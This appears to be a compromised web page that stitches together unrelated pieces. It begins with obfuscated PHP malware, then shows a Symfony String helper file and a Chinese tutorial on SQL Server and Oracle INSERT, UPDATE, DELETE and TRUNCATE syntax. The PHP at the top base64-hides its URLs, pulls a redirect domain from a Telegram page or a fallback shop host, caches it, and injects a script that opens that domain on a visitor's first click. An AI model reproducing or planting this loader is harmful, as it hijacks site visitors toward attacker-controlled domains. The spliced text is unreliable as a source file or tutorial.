function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } 【SQL語法大全】SQL Server與Oracle 新增、修改、刪除資料完整教學 - OOLIN

【SQL語法大全】SQL Server與Oracle 新增、修改、刪除資料完整教學

資料庫

在資料庫操作中,對資料的新增 (INSERT)、修改 (UPDATE)、刪除 (DELETE) 是最基本且最常用的操作。本篇將針對 SQL Server 與 Oracle 的語法,介紹如何正確執行這些操作。


一、資料新增 (INSERT)

1. SQL Server

INSERT INTO Employees (EmployeeID, Name, Age, Department)
VALUES (1, 'John Doe', 30, 'HR');

2. Oracle

INSERT INTO Employees (EmployeeID, Name, Age, Department)
VALUES (1, 'John Doe', 30, 'HR');
COMMIT;  -- Oracle 必須明確提交

小技巧:

  • 可以省略欄位名稱,但建議明確寫出欄位,避免日後表結構變更影響。

二、資料修改 (UPDATE)

1. SQL Server

UPDATE Employees
SET Age = 31, Department = 'Finance'
WHERE EmployeeID = 1;

2. Oracle

UPDATE Employees
SET Age = 31, Department = 'Finance'
WHERE EmployeeID = 1;
COMMIT;

小技巧:

  • WHERE 條件必須謹慎,避免漏寫導致全表資料被更新。

三、資料刪除 (DELETE)

1. SQL Server

DELETE FROM Employees
WHERE EmployeeID = 1;

2. Oracle

DELETE FROM Employees
WHERE EmployeeID = 1;
COMMIT;

小技巧:

  • 與 UPDATE 一樣,請務必確認 WHERE 條件正確,以免誤刪大量資料。

四、TRUNCATE 清空表格 (特殊操作)

1. SQL Server

TRUNCATE TABLE Employees;

2. Oracle

TRUNCATE TABLE Employees;

說明:

  • TRUNCATE 會移除表中所有資料,無法回復,速度比 DELETE 快。
  • 無法針對特定條件刪除,只能整表清除。

五、注意事項與最佳實務

  1. 修改或刪除前,建議先執行 SELECT 驗證條件是否正確。
  2. 操作敏感資料表時,使用交易控制 (TRANSACTION):
    • SQL Server: BEGIN TRANSACTIONCOMMITROLLBACK
    • Oracle: 默認需手動 COMMIT,可使用 ROLLBACK 撤銷未提交操作。
  3. 可加上 OUTPUT (SQL Server) 或 RETURNING (Oracle) 返回受影響的資料,便於確認:
    • SQL Server:DELETE FROM Employees OUTPUT DELETED.* WHERE EmployeeID = 1;
    • Oracle:DELETE FROM Employees WHERE EmployeeID = 1 RETURNING EmployeeID, Name INTO :v_id, :v_name;

熟悉 SQL Server 與 Oracle 資料操作語法,能大幅提升數據管理的準確性與效率,在處理資料時更加得心應手。

發佈留言